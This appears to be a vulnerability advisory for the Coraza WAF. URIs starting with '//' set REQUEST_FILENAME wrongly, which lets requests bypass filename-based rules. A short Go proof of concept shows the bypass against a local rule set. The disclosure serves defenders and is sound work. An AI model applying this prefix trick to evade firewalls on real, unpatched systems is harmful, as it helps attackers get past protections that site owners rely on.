Summary

URLs starting with // are not parsed properly, and the request REQUESTFILENAME variable contains a wrong value, leading to potential rules bypass.

Details

If a request is made on an URI starting with //, coraza will set a wrong value in REQUESTFILENAME. For example, if the URI //bar/uploads/foo.php?a=b is passed to coraza: , REQUESTFILENAME will be set to /uploads/foo.php.

The root cause is the usage of url.Parse to parse the URI in ProcessURI.

url.Parse can parse both absolute URLs (starting with a scheme) or relative ones (just the path). //bar/uploads/foo.php is a valid absolute URI (the scheme is empty), url.Parse will consider bar as the host and the path will be set to /uploads/foo.php.

PoC

go package main

import ( "fmt" "net/url" "os"

"github.com/corazawaf/coraza/v3" )

const testRule = SecDebugLogLevel 9 SecDebugLog /dev/stdout SecRule REQUESTFILENAME "@rx /bar/uploads/.\.(h?ph(p|tm?l?|ar)|module|shtml)" "id:1,phase:1,deny"

func main() { var testURL = "//bar/uploads/foo.php"

if os.Getenv("TESTURL") != "" { testURL = os.Getenv("TESTURL") }

fmt.Printf("Testing URL: %s\n", testURL)

config := coraza.NewWAFConfig().WithDirectives(testRule)

waf, err := coraza.NewWAF(config)

if err != nil { panic(err) }

tx := waf.NewTransaction()

tx.ProcessURI(testURL, "GET", "HTTP/1.1")

in := tx.ProcessRequestHeaders()

if in != nil { fmt.Printf("%+v\n", in) } }

Impact

Potential bypass of rules using REQUESTFILENAME.